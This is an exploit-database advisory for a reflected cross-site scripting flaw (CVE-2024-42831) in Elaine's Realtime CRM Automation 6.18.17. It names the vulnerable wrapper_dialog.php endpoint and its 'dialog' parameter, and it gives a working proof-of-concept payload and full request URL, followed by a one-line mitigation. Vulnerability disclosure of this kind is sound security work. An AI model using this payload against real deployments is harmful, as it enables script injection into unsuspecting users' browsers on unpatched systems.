Elaine's Realtime CRM Automation 6.18.17 - Reflected XSS

vendor:

Realtime CRM Automation

by:

Haythem Arfaoui (CBTW Team)

6.1

CVSS

HIGH

Cross-Site Scripting (XSS)

CWE

Product Name: Realtime CRM Automation

Affected Version From: 6.18.17

Affected Version To: 6.18.17 and below

Patch Exists: NO

Related CWE: CVE-2024-42831

CPE: a:elaine:realtime_crm_automation:6.18.17

Metasploit:

Other Scripts:

Platforms Tested: Windows, Linux

2024

Elaine’s Realtime CRM Automation 6.18.17 – Reflected XSS

A reflected cross-site scripting (XSS) vulnerability in Elaine's Realtime CRM Automation version 6.18.17 and below allows malicious users to run arbitrary JavaScript code in a victim's web browser by inserting a specially crafted payload into the dialog parameter at wrapper_dialog.php.

Mitigation:

To mitigate this vulnerability, sanitize and validate user inputs before processing them to prevent the execution of malicious scripts.

Source

Exploit-DB raw data:

# Exploit Title: Elaine's Realtime CRM Automation 6.18.17 - Reflected XSS
# Date: 09/2024
# Exploit Author: Haythem Arfaoui (CBTW Team)
# Vendor Homepage: https://www.elaine.io/
# Software Link:
https://www.elaine.io/en/products/elaine-marketing-automation/
# Version: 6.18.17 and below
# Tested on: Windows, Linux
# CVE : CVE-2024-42831


# Description
A reflected cross-site scripting (XSS) vulnerability in Elaine's Realtime
CRM Automation v6.18.17 allows attackers to execute arbitrary JavaScript
code in the web browser of a user via injecting a crafted payload into the
dialog parameter at wrapper_dialog.php.

# Steps to reproduce:
1. Navigate to any website that contains Elaine's Realtime CRM Automation
2. Navigate to this endpoint: /system/interface/wrapper_dialog.php
3. Append the payload  *a"%20onafterscriptexecute=alert(document.domain)> *in
the *"dialog*" param and execute the request
4. Final URL
: /system/interface/wrapper_dialog.php?dialog=a"%20onafterscriptexecute=alert(document.domain)>